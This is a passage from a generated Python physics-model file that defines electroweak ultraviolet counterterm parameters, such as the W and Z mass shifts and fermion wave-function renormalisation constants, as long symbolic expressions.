0:'recms(CMSParam==1.0 and WW != 0,(ee**2*(cw**4*(44*MW**2 + 6*MZ**2) - 6*MW**2*sw**4 + cw**2*(3*MT**2*Ncol + MW**2*(-31 - 6*Ncol + 38*sw**2)))*reglog(4*cmath.pi))/(96.*cw**2*cmath.pi**2*sw**2) + (ee**2*((2*(cw**2*(3*MH**4 - 18*MH**2*MW**2 + 3*(MZ**4 - 2*MT**4*Ncol) - 6*MW**2*(3*MZ**2 + MT**2*Ncol*(2 + reglog(64) + 3*reglog(cmath.pi))) - 2*MW**4*(-83 + 178*sw**2 + 93*reglog(cmath.pi) - 114*sw**2*reglog(cmath.pi) - 6*Ncol*(5 + reglog(64) + 3*reglog(cmath.pi)) - 186*reglog(2*cmath.pi) + 228*sw**2*reglog(2*cmath.pi))) + 4*cw**4*(6*MZ**4 + MW**4*(-107 + 66*reglog(cmath.pi) - 132*reglog(2*cmath.pi)) + 9*MW**2*MZ**2*(-6 - reglog(4*cmath.pi))) + 36*MW**4*sw**4*(2 + reglog(4*cmath.pi))))/(cw**2*MW**2) - (6*MH**2*(MH**2 - 3*MW**2)*reglog(MU_R**2/MH**2))/MW**2 - 12*(3*MT**2 - 2*MW**2)*Ncol*reglog(MU_R**2/MT**2) + 6*(MH**2 + (1 + 8*cw**2)*MZ**2 + MW**2*(38 - 28*cw**2 - 76*sw**2))*reglog(MU_R**2/MW**2) - (6*(1 + 8*cw**2)*MZ**2*(-3*MW**2 + MZ**2)*reglog(MU_R**2/MZ**2))/MW**2 - (12*(MT - MW)**2*(MT + MW)**2*(MT**2 + 2*MW**2)*Ncol*reglog((MT**2 - MW**2 + vep*complex(0,-1))/MT**2))/MW**4 + (6*(cw**4*(60*MW**4 + 44*MW**2*MZ**2 - 8*MZ**4) - cw**2*(MH**4 - 4*MH**2*MW**2 + 12*MW**4 - 4*MW**2*MZ**2 + MZ**4) - 12*MW**4*sw**4)*reglog((MW**2 + vep*complex(0,-1))/MU_R**2))/(cw**2*MW**2) + (6*(cw**4*(60*MW**4 + 44*MW**2*MZ**2 - 8*MZ**4) + cw**2*(4*MW**2*MZ**2 - MZ**4) - 12*MW**4*sw**4)*reglog((-MZ**2 - cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))/(2.*MW**2)))/(cw**2*MW**2) + (6*(cw**4*(60*MW**4 + 44*MW**2*MZ**2 - 8*MZ**4) + cw**2*(4*MW**2*MZ**2 - MZ**4) - 12*MW**4*sw**4)*reglog((-MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))/(2.*MW**2)))/(cw**2*MW**2) - (3*(cw**4*(60*MW**4 + 44*MW**2*MZ**2 - 8*MZ**4) + cw**2*(4*MW**2*MZ**2 - MZ**4) - 12*MW**4*sw**4)*(2*MW**2 - MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))*reglog((-MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))/(2*MW**2 - MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))))/(cw**2*MW**4) + (3*(cw**4*(60*MW**4 + 44*MW**2*MZ**2 - 8*MZ**4) + cw**2*(4*MW**2*MZ**2 - MZ**4) - 12*MW**4*sw**4)*(-2*MW**2 + MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))*reglog((MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))/(-2*MW**2 + MZ**2 + cmath.sqrt(MZ**4 - 4*MW**2*(MZ**2 + vep*complex(0,-1))))))/(cw**2*MW**4) - (6*(MH**4 - 4*MH**2*MW**2 + 12*MW**4)*reglog(-1 + (MH**2 - cmath.sqrt(MH**4 - 4*MW**2*(MH**2 + vep*complex(0,-1))))/(2.*MW**2)))/MW**2 - (6*(MH**4 - 4*MH**2*MW**2 + 12*MW**4)*reglog(-1 + (MH**2 + cmath.sqrt(MH**4 - 4*MW**2*(MH**2 + vep*complex(0,-1))))/(2.*MW**2)))/MW**2 + 24*MW**2*(3 + 2*Ncol)*reglogp(-(MU_R**2/(MW**2 + vep*complex(0,1)))) + (3*(MH**4 - 4*MH**2*MW**2 + 12*MW**4)*(MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))*reglog((MH**2 - 2*MW**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))/(MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))))/MW**4 - (3*(MH**4 - 4*MH**2*MW**2 + 12*MW**4)*(-MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))*reglog((-MH**2 + 2*MW**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))/(-MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MW**2 + MW**2*vep*complex(0,4)))))/MW**4))/(1152.*cmath.pi**2*sw**2))'+'+'+dMB_WMass2_UV_EW.value[0]},
texname = '\delta m2_W^{EW}')
ZMass2_UV_EW = CTParameter(name = 'ZMass2_UV_EW',
type = 'complex',
value = {-1:'recms(CMSParam==1.0 and WZ != 0,-(ee**2*(36*MW**2*(-1 + 2*cw**6 - 2*cw**2*sw**4) + cw**2*(18*MT**2*Ncol + MZ**2*(-39 + 117*cw**4 + 72*sw**2 + 6*cw**2*sw**2 - 147*sw**4 - 4*Ncol*(9 - 18*sw**2 + 20*sw**4)))))/(576.*cw**4*cmath.pi**2*sw**2))'+'+'+dMB_ZMass2_UV_EW.value[-1],
0:'recms(CMSParam==1.0 and WZ != 0,(ee**2*(36*MW**2*(-1 + 2*cw**6 - 2*cw**2*sw**4) + cw**2*(18*MT**2*Ncol + MZ**2*(-39 + 117*cw**4 + 72*sw**2 + 6*cw**2*sw**2 - 147*sw**4 - 4*Ncol*(9 - 18*sw**2 + 20*sw**4))))*reglog(4*cmath.pi))/(576.*cw**4*cmath.pi**2*sw**2) + (ee**2*((2*(-108*MW**2*MZ**2*(-2 + reglog(1/(4.*cmath.pi))) + 6*cw**4*MZ**2*sw**2*(24*MW**2 + MZ**2*(-8 - reglog(64) - 3*reglog(cmath.pi))) + 9*cw**6*MZ**2*(24*MW**2*(-5 + reglog(1/(4.*cmath.pi))) + MZ**2*(-80 + 39*reglog(cmath.pi) - 78*reglog(2*cmath.pi))) + cw**2*(9*MH**4 - 54*MH**2*MZ**2 + MZ**2*(2*(-36*MW**2*sw**4*(-5 - reglog(64) - 3*reglog(cmath.pi)) + MT**2*Ncol*(-96*sw**2 + 128*sw**4 - 9*(2 + reglog(64) + 3*reglog(cmath.pi)))) + MZ**2*(4*Ncol*(9 - 18*sw**2 + 20*sw**4)*(5 + reglog(64) + 3*reglog(cmath.pi)) + 3*(59 - 39*reglog(cmath.pi) - 24*sw**2*(5 + reglog(64) + 3*reglog(cmath.pi)) + 78*reglog(2*cmath.pi) + sw**4*(248 - 147*reglog(cmath.pi) + 294*reglog(2*cmath.pi))))))))/MZ**2 - (18*cw**2*MH**2*(MH**2 - 3*MZ**2)*reglog(MU_R**2/MH**2))/MZ**2 - 8*cw**2*MT**2*Ncol*(9 - 24*sw**2 + 32*sw**4)*reglog(MU_R**2/MT**2) + 72*cw**2*MW**2*(9*cw**4 - 2*cw**2*sw**2 + sw**4)*reglog(MU_R**2/MW**2) + 18*cw**2*(MH**2 + MZ**2)*reglog(MU_R**2/MZ**2) + (2*(-108*MW**2*MZ**2 + 27*cw**6*(20*MW**2*MZ**2 + 13*MZ**4) + 18*cw**4*MZ**2*(-4*MW**2 + MZ**2)*sw**2 - cw**2*(9*MH**4 - 36*MH**2*MZ**2 + MZ**2*(180*MW**2*sw**4 + 2*MT**2*Ncol*(-9 - 48*sw**2 + 64*sw**4) + MZ**2*(9*sw**4 + 2*Ncol*(9 - 24*sw**2 + 32*sw**4)))))*reglog((MZ**2 + vep*complex(0,-1))/MU_R**2))/MZ**2 - (18*(12*MW**2*MZ**2 + cw**2*(MH**4 - 4*MH**2*MZ**2))*reglog(-1 + (MH**2 - cmath.sqrt(MH**4 - 4*MZ**2*(MH**2 + vep*complex(0,-1))))/(2.*MZ**2)))/MZ**2 - (18*(12*MW**2*MZ**2 + cw**2*(MH**4 - 4*MH**2*MZ**2))*reglog(-1 + (MH**2 + cmath.sqrt(MH**4 - 4*MZ**2*(MH**2 + vep*complex(0,-1))))/(2.*MZ**2)))/MZ**2 + 4*cw**2*MZ**2*(54*(1 - 2*sw**2 + 4*sw**4) + Ncol*(45 - 84*sw**2 + 88*sw**4))*reglogp(-(MU_R**2/(MZ**2 + vep*complex(0,1)))) - 4*cw**2*Ncol*(MZ**2*(9 - 24*sw**2 + 32*sw**4) + MT**2*(-9 - 48*sw**2 + 64*sw**4))*reglog((-MZ**2 - cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)) - 4*cw**2*Ncol*(MZ**2*(9 - 24*sw**2 + 32*sw**4) + MT**2*(-9 - 48*sw**2 + 64*sw**4))*reglog((-MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)) + (2*cw**2*Ncol*(MZ**2*(9 - 24*sw**2 + 32*sw**4) + MT**2*(-9 - 48*sw**2 + 64*sw**4))*(MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))*reglog((-MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))/(MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))))/MZ**2 + (2*cw**2*Ncol*(MZ**2*(9 - 24*sw**2 + 32*sw**4) + MT**2*(-9 - 48*sw**2 + 64*sw**4))*(MZ**2 - cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))*reglog((MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))/(-MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))))/MZ**2 + 18*cw**2*(cw**4*(60*MW**2 + 39*MZ**2) + 2*cw**2*(-4*MW**2 + MZ**2)*sw**2 - (20*MW**2 + MZ**2)*sw**4)*reglog((-MZ**2 - cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)) + 18*cw**2*(cw**4*(60*MW**2 + 39*MZ**2) + 2*cw**2*(-4*MW**2 + MZ**2)*sw**2 - (20*MW**2 + MZ**2)*sw**4)*reglog((-MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)) - (9*cw**2*(cw**4*(60*MW**2 + 39*MZ**2) + 2*cw**2*(-4*MW**2 + MZ**2)*sw**2 - (20*MW**2 + MZ**2)*sw**4)*(MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))*reglog((-MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))/(MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))))/MZ**2 - (9*cw**2*(cw**4*(60*MW**2 + 39*MZ**2) + 2*cw**2*(-4*MW**2 + MZ**2)*sw**2 - (20*MW**2 + MZ**2)*sw**4)*(MZ**2 - cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))*reglog((MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))/(-MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))))/MZ**2 + (9*(12*MW**2*MZ**2 + cw**2*(MH**4 - 4*MH**2*MZ**2))*(MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))*reglog((MH**2 - 2*MZ**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))/(MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))))/MZ**4 - (9*(12*MW**2*MZ**2 + cw**2*(MH**4 - 4*MH**2*MZ**2))*(-MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))*reglog((-MH**2 + 2*MZ**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))/(-MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MZ**2 + MZ**2*vep*complex(0,4)))))/MZ**4))/(3456.*cw**4*cmath.pi**2*sw**2))'+'+'+dMB_ZMass2_UV_EW.value[0]},
texname = '\delta m2_Z^{EW}')
tWcft_UV_EW_R = CTParameter(name = 'tWcft_UV_EW_R',
type = 'complex',
value = {-1:'recms(CMSParam==1.0 and WT != 0,-(ee**2*(8*MW**2*sw**4 + 3*cw**2*(3*MT**2 + 8*MW**2*sw**2)))/(288.*cw**2*MW**2*cmath.pi**2*sw**2))',
0:'recms(CMSParam==1.0 and WT != 0,-(ee**2*(27*cw**2*MH**2*MT**2 - 36*cw**2*MT**4 - 54*MT**2*MW**2 - 18*cw**2*MT**2*MW**2 + 72*cw**2*MW**4 + 27*cw**2*MT**2*MZ**2 + 36*MW**2*MZ**2 - 48*MT**2*MW**2*sw**2 + 128*cw**2*MT**2*MW**2*sw**2 - 96*MW**2*MZ**2*sw**2 + 128*MT**2*MW**2*sw**4 + 96*MW**2*MZ**2*sw**4 + 18*cw**2*MT**4*reglog(16) + 64*cw**2*MT**2*MW**2*sw**2*reglog(16) + 36*cw**2*MT**4*reglog(cmath.pi) + 128*cw**2*MT**2*MW**2*sw**2*reglog(cmath.pi) - 36*cw**2*MT**4*reglog(4*cmath.pi) - 128*cw**2*MT**2*MW**2*sw**2*reglog(4*cmath.pi)))/(1152.*cw**2*MT**2*MW**2*cmath.pi**2*sw**2) + (ee**2*(3*MH**2 - 4*MT**2)*reglog(MU_R**2/MH**2))/(128.*MW**2*cmath.pi**2*sw**2) - (ee**2*(24*cw**2*MT**4 + 18*MT**2*MW**2 - 9*cw**2*MT**2*MZ**2 - 6*MW**2*MZ**2 - 16*MT**2*MW**2*sw**2 + 64*cw**2*MT**2*MW**2*sw**2 + 16*MW**2*MZ**2*sw**2 - 16*cw**2*MW**2*MZ**2*sw**2 - 16*MW**2*MZ**2*sw**4)*reglog(MU_R**2/MT**2))/(192.*cw**2*MW**2*(2*MT - MZ)*(2*MT + MZ)*cmath.pi**2*sw**2) - (ee**2*MT**2*reglog(MU_R**2/MW**2))/(64.*MW**2*cmath.pi**2*sw**2) + (ee**2*(-72*MT**4*MW**2 + 72*cw**2*MT**4*MZ**2 + 144*MT**2*MW**2*MZ**2 - 27*cw**2*MT**2*MZ**4 - 36*MW**2*MZ**4 - 192*MT**4*MW**2*sw**2 - 192*MT**2*MW**2*MZ**2*sw**2 + 96*MW**2*MZ**4*sw**2 + 256*MT**4*MW**2*sw**4 + 128*MT**2*MW**2*MZ**2*sw**4 - 96*MW**2*MZ**4*sw**4)*reglog(MU_R**2/MZ**2))/(1152.*cw**2*MT**2*MW**2*(2*MT - MZ)*(2*MT + MZ)*cmath.pi**2*sw**2) - (ee**2*(-36*cw**2*MH**2*MT**4 + 72*cw**2*MT**6 + 60*MT**4*MW**2 + 9*cw**2*MH**2*MT**2*MZ**2 - 48*cw**2*MT**4*MZ**2 - 60*MT**2*MW**2*MZ**2 + 9*cw**2*MT**2*MZ**4 + 12*MW**2*MZ**4 + 32*MT**4*MW**2*sw**2 + 96*MT**2*MW**2*MZ**2*sw**2 - 32*MW**2*MZ**4*sw**2 - 128*MT**4*MW**2*sw**4 - 64*MT**2*MW**2*MZ**2*sw**4 + 32*MW**2*MZ**4*sw**4)*reglog((MT**2 + vep*complex(0,-1))/MU_R**2))/(384.*cw**2*MT**2*MW**2*(2*MT - MZ)*(2*MT + MZ)*cmath.pi**2*sw**2) + (ee**2*(MT - MW)*(MT + MW)*(MT**4 + MT**2*MW**2 + 4*MW**4)*reglogm((-MT**2 + MW**2 + vep*complex(0,-1))/MW**2))/(64.*MT**4*MW**2*cmath.pi**2*sw**2) + (ee**2*(-60*MT**4*MW**2 + 30*cw**2*MT**4*MZ**2 + 60*MT**2*MW**2*MZ**2 - 9*cw**2*MT**2*MZ**4 - 12*MW**2*MZ**4 - 32*MT**4*MW**2*sw**2 - 96*MT**2*MW**2*MZ**2*sw**2 + 32*MW**2*MZ**4*sw**2 + 128*MT**4*MW**2*sw**4 + 64*MT**2*MW**2*MZ**2*sw**4 - 32*MW**2*MZ**4*sw**4)*reglog((-MZ**2 - cmath.sqrt(MZ**4 - 4*MT**2*(MZ**2 + vep*complex(0,-1))))/(2.*MT**2)))/(384.*cw**2*MT**2*MW**2*(2*MT - MZ)*(2*MT + MZ)*cmath.pi**2*sw**2) + (ee**2*(-60*MT**4*MW**2 + 30*cw**2*MT**4*MZ**2 + 60*MT**2*MW**2*MZ**2 - 9*cw**2*MT**2*MZ**4 - 12*MW**2*MZ**4 - 32*MT**4*MW**2*sw**2 - 96*MT**2*MW**2*MZ**2*sw**2 + 32*MW**2*MZ**4*sw**2 + 128*MT**4*MW**2*sw**4 + 64*MT**2*MW**2*MZ**2*sw**4 - 32*MW**2*MZ**4*sw**4)*reglog((-MZ**2 + cmath.sqrt(MZ**4 - 4*MT**2*(MZ**2 + vep*complex(0,-1))))/(2.*MT**2)))/(384.*cw**2*MT**2*MW**2*(2*MT - MZ)*(2*MT + MZ)*cmath.pi**2*sw**2) - (ee**2*(-60*MT**4*MW**2 + 30*cw**2*MT**4*MZ**2 + 60*MT**2*MW**2*MZ**2 - 9*cw**2*MT**2*MZ**4 - 12*MW**2*MZ**4 - 32*MT**4*MW**2*sw**2 - 96*MT**2*MW**2*MZ**2*sw**2 + 32*MW**2*MZ**4*sw**2 + 128*MT**4*MW**2*sw**4 + 64*MT**2*MW**2*MZ**2*sw**4 - 32*MW**2*MZ**4*sw**4)*(2*MT**2 - MZ**2 + cmath.sqrt(-4*MT**2*MZ**2 + MZ**4 + MT**2*vep*complex(0,4)))*reglog((-MZ**2 + cmath.sqrt(MZ**4 - 4*MT**2*(MZ**2 + vep*complex(0,-1))))/(2*MT**2 - MZ**2 + cmath.sqrt(MZ**4 - 4*MT**2*(MZ**2 + vep*complex(0,-1))))))/(768.*cw**2*MT**4*MW**2*(2*MT - MZ)*(2*MT + MZ)*cmath.pi**2*sw**2) + (ee**2*(-60*MT**4*MW**2 + 30*cw**2*MT**4*MZ**2 + 60*MT**2*MW**2*MZ**2 - 9*cw**2*MT**2*MZ**4 - 12*MW**2*MZ**4 - 32*MT**4*MW**2*sw**2 - 96*MT**2*MW**2*MZ**2*sw**2 + 32*MW**2*MZ**4*sw**2 + 128*MT**4*MW**2*sw**4 + 64*MT**2*MW**2*MZ**2*sw**4 - 32*MW**2*MZ**4*sw**4)*(-2*MT**2 + MZ**2 + cmath.sqrt(-4*MT**2*MZ**2 + MZ**4 + MT**2*vep*complex(0,4)))*reglog((MZ**2 + cmath.sqrt(MZ**4 - 4*MT**2*(MZ**2 + vep*complex(0,-1))))/(-2*MT**2 + MZ**2 + cmath.sqrt(MZ**4 - 4*MT**2*(MZ**2 + vep*complex(0,-1))))))/(768.*cw**2*MT**4*MW**2*(2*MT - MZ)*(2*MT + MZ)*cmath.pi**2*sw**2) + (3*ee**2*(MH**2 - 2*MT**2)*reglog(-1 + (MH**2 - cmath.sqrt(MH**4 - 4*MT**2*(MH**2 + vep*complex(0,-1))))/(2.*MT**2)))/(128.*MW**2*cmath.pi**2*sw**2) + (3*ee**2*(MH**2 - 2*MT**2)*reglog(-1 + (MH**2 + cmath.sqrt(MH**4 - 4*MT**2*(MH**2 + vep*complex(0,-1))))/(2.*MT**2)))/(128.*MW**2*cmath.pi**2*sw**2) - (3*ee**2*(MH**2 - 2*MT**2)*(MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MT**2 + MT**2*vep*complex(0,4)))*reglog((MH**2 - 2*MT**2 + cmath.sqrt(MH**4 - 4*MH**2*MT**2 + MT**2*vep*complex(0,4)))/(MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MT**2 + MT**2*vep*complex(0,4)))))/(256.*MT**2*MW**2*cmath.pi**2*sw**2) + (3*ee**2*(MH**2 - 2*MT**2)*(-MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MT**2 + MT**2*vep*complex(0,4)))*reglog((-MH**2 + 2*MT**2 + cmath.sqrt(MH**4 - 4*MH**2*MT**2 + MT**2*vep*complex(0,4)))/(-MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MT**2 + MT**2*vep*complex(0,4)))))/(256.*MT**2*MW**2*cmath.pi**2*sw**2))'+'+'+dMB_tWcft_UV_EW_R.value[0]},
texname = '\delta ZR_t^{EW}')
cWcft_UV_EW_R = CTParameter(name = 'cWcft_UV_EW_R',
type = 'complex',
value = {-1:'recms(CMSParam==1.0,-(ee**2*sw**2)/(36.*cw**2*cmath.pi**2))',
0:'recms(CMSParam==1.0,-(ee**2*sw**2*(-1 + 2*reglog(MU_R**2/MZ**2)))/(72.*cw**2*cmath.pi**2))'},
texname = '\delta ZR_c^{EW}')
uWcft_UV_EW_R = CTParameter(name = 'uWcft_UV_EW_R',
type = 'complex',
value = {-1:'recms(CMSParam==1.0,-(ee**2*sw**2)/(36.*cw**2*cmath.pi**2))',
0:'recms(CMSParam==1.0,-(ee**2*sw**2*(-1 + 2*reglog(MU_R**2/MZ**2)))/(72.*cw**2*cmath.pi**2))'},
texname = '\delta ZR_u^{EW}')
bWcft_UV_EW_R = CTParameter(name = 'bWcft_UV_EW_R',
type = 'complex',
value = {-1:'recms(CMSParam==1.0,-(ee**2*sw**2)/(144.*cw**2*cmath.pi**2))'+'+'+dMB_bWcft_UV_EW_R.value[-1],
0:'recms(CMSParam==1.0,-(ee**2*sw**2*(-1 + 2*reglog(MU_R**2/MZ**2)))/(288.*cw**2*cmath.pi**2))'+'+'+dMB_bWcft_UV_EW_R.value[0]},
texname = '\delta ZR_b^{EW}')
sWcft_UV_EW_R = CTParameter(name = 'sWcft_UV_EW_R',
type = 'complex',
value = {-1:'recms(CMSParam==1.0,-(ee**2*sw**2)/(144.*cw**2*cmath.pi**2))',
0:'recms(CMSParam==1.0,-(ee**2*sw**2*(-1 + 2*reglog(MU_R**2/MZ**2)))/(288.*cw**2*cmath.pi**2))'},
texname = '\delta ZR_s^{EW}')
dWcft_UV_EW_R = CTParameter(name = 'dWcft_UV_EW_R',
type = 'complex',
value = {-1:'recms(CMSParam==1.0,-(ee**2*sw**2)/(144.*cw**2*cmath.pi**2))',
0:'recms(CMSParam==1.0,-(ee**2*sw**2*(-1 + 2*reglog(MU_R**2/MZ**2)))/(288.*cw**2*cmath.pi**2))'},
texname = '\delta ZR_d^{EW}')
tauWcft_UV_EW_R = CTParameter(name = 'tauWcft_UV_EW_R',
type = 'complex',
value = {-1:'recms(CMSParam==1.0,-(ee**2*sw**2)/(16.*cw**2*cmath.pi**2))',
0:'recms(CMSParam==1.0,-(ee**2*sw**2*(-1 + 2*reglog(MU_R**2/MZ**2)))/(32.*cw**2*cmath.pi**2))'},
texname = '\delta ZR_tau^{EW}')
muWcft_UV_EW_R = CTParameter(name = 'muWcft_UV_EW_R',
type = 'complex',
value = {-1:'recms(CMSParam==1.0,-(ee**2*sw**2)/(16.*cw**2*cmath.pi**2))',
0:'recms(CMSParam==1.0,-(ee**2*sw**2*(-1 + 2*reglog(MU_R**2/MZ**2)))/(32.*cw**2*cmath.pi**2))'},
texname = '\delta ZR_mu^{EW}')
eWcft_UV_EW_R = CTParameter(name = 'eWcft_UV_EW_R',
type = 'complex',
value = {-1:'recms(CMSParam==1.0,-(ee**2*sw**2)/(16.*cw**2*cmath.pi**2))',
0:'recms(CMSParam==1.0,-(ee**2*sw**2*(-1 + 2*reglog(MU_R**2/MZ**2)))/(32.*cw**2*cmath.pi**2))'},
texname = '\delta ZR_e^{EW}')
tWcft_UV_EW_L = CTParameter(name = 'tWcft_UV_EW_L',
type = 'complex',
value = {-1:'recms(CMSParam==1.0 and WT != 0,-(ee**2*(MW**2*(3 - 4*sw**2)**2 + 3*cw**2*(3*MT**2 + 2*MW**2*(3 + 8*sw**2))))/(576.*cw**2*MW**2*cmath.pi**2*sw**2))'+'+'+dMB_tWcft_UV_EW_L.value[-1],
0:'recms(CMSParam==1.0 and WT != 0,(ee**2*(-27*cw**2*MH**2*MT**2 + 72*cw**2*MT**4 + 18*MT**2*MW**2 - 36*cw**2*MT**2*MW**2 - 36*cw**2*MW**4 - 27*cw**2*MT**2*MZ**2 - 18*MW**2*MZ**2 + 144*MT**2*MW**2*sw**2 - 128*cw**2*MT**2*MW**2*sw**2 + 48*MW**2*MZ**2*sw**2 - 128*MT**2*MW**2*sw**4 - 96*MW**2*MZ**2*sw**4 - 64*cw**2*MT**2*MW**2*sw**2*reglog(16) + 18*cw**2*MT**4*reglog(1/(4.*cmath.pi)) + 18*MT**2*MW**2*reglog(1/(4.*cmath.pi)) - 48*MT**2*MW**2*sw**2*reglog(1/(4.*cmath.pi)) + 32*MT**2*MW**2*sw**4*reglog(1/(4.*cmath.pi)) - 160*cw**2*MT**2*MW**2*sw**2*reglog(cmath.pi) + 64*cw**2*MT**2*MW**2*sw**2*reglog(2*cmath.pi) + 18*cw**2*MT**4*reglog(4*cmath.pi) + 18*MT**2*MW**2*reglog(4*cmath.pi) - 48*MT**2*MW**2*sw**2*reglog(4*cmath.pi) + 96*cw**2*MT**2*MW**2*sw**2*reglog(4*cmath.pi) + 32*MT**2*MW**2*sw**4*reglog(4*cmath.pi)))/(1152.*cw**2*MT**2*MW**2*cmath.pi**2*sw**2) + (ee**2*(3*MH**2 - 4*MT**2)*reglog(MU_R**2/MH**2))/(128.*MW**2*cmath.pi**2*sw**2) - (ee**2*(24*cw**2*MT**4 + 6*MT**2*MW**2 - 9*cw**2*MT**2*MZ**2 - 3*MW**2*MZ**2 + 16*MT**2*MW**2*sw**2 + 64*cw**2*MT**2*MW**2*sw**2 + 8*MW**2*MZ**2*sw**2 - 16*cw**2*MW**2*MZ**2*sw**2 - 16*MW**2*MZ**2*sw**4)*reglog(MU_R**2/MT**2))/(192.*cw**2*MW**2*(2*MT - MZ)*(2*MT + MZ)*cmath.pi**2*sw**2) - (ee**2*reglog(MU_R**2/MW**2))/(32.*cmath.pi**2*sw**2) + (ee**2*(-72*MT**4*MW**2 + 72*cw**2*MT**4*MZ**2 + 72*MT**2*MW**2*MZ**2 - 27*cw**2*MT**2*MZ**4 - 18*MW**2*MZ**4 - 192*MT**4*MW**2*sw**2 + 48*MW**2*MZ**4*sw**2 + 256*MT**4*MW**2*sw**4 + 128*MT**2*MW**2*MZ**2*sw**4 - 96*MW**2*MZ**4*sw**4)*reglog(MU_R**2/MZ**2))/(1152.*cw**2*MT**2*MW**2*(2*MT - MZ)*(2*MT + MZ)*cmath.pi**2*sw**2) - (ee**2*(-36*cw**2*MH**2*MT**4 + 72*cw**2*MT**6 + 12*MT**4*MW**2 + 9*cw**2*MH**2*MT**2*MZ**2 - 48*cw**2*MT**4*MZ**2 - 24*MT**2*MW**2*MZ**2 + 9*cw**2*MT**2*MZ**4 + 6*MW**2*MZ**4 + 160*MT**4*MW**2*sw**2 - 16*MW**2*MZ**4*sw**2 - 128*MT**4*MW**2*sw**4 - 64*MT**2*MW**2*MZ**2*sw**4 + 32*MW**2*MZ**4*sw**4)*reglog((MT**2 + vep*complex(0,-1))/MU_R**2))/(384.*cw**2*MT**2*MW**2*(2*MT - MZ)*(2*MT + MZ)*cmath.pi**2*sw**2) + (ee**2*(MT - MW)*(MT + MW)*(2*MT**2 + MW**2)*reglogm((-MT**2 + MW**2 + vep*complex(0,-1))/MW**2))/(32.*MT**4*cmath.pi**2*sw**2) + (ee**2*(-12*MT**4*MW**2 + 30*cw**2*MT**4*MZ**2 + 24*MT**2*MW**2*MZ**2 - 9*cw**2*MT**2*MZ**4 - 6*MW**2*MZ**4 - 160*MT**4*MW**2*sw**2 + 16*MW**2*MZ**4*sw**2 + 128*MT**4*MW**2*sw**4 + 64*MT**2*MW**2*MZ**2*sw**4 - 32*MW**2*MZ**4*sw**4)*reglog((-MZ**2 - cmath.sqrt(MZ**4 - 4*MT**2*(MZ**2 + vep*complex(0,-1))))/(2.*MT**2)))/(384.*cw**2*MT**2*MW**2*(2*MT - MZ)*(2*MT + MZ)*cmath.pi**2*sw**2) + (ee**2*(-12*MT**4*MW**2 + 30*cw**2*MT**4*MZ**2 + 24*MT**2*MW**2*MZ**2 - 9*cw**2*MT**2*MZ**4 - 6*MW**2*MZ**4 - 160*MT**4*MW**2*sw**2 + 16*MW**2*MZ**4*sw**2 + 128*MT**4*MW**2*sw**4 + 64*MT**2*MW**2*MZ**2*sw**4 - 32*MW**2*MZ**4*sw**4)*reglog((-MZ**2 + cmath.sqrt(MZ**4 - 4*MT**2*(MZ**2 + vep*complex(0,-1))))/(2.*MT**2)))/(384.*cw**2*MT**2*MW**2*(2*MT - MZ)*(2*MT + MZ)*cmath.pi**2*sw**2) - (ee**2*(-12*MT**4*MW**2 + 30*cw**2*MT**4*MZ**2 + 24*MT**2*MW**2*MZ**2 - 9*cw**2*MT**2*MZ**4 - 6*MW**2*MZ**4 - 160*MT**4*MW**2*sw**2 + 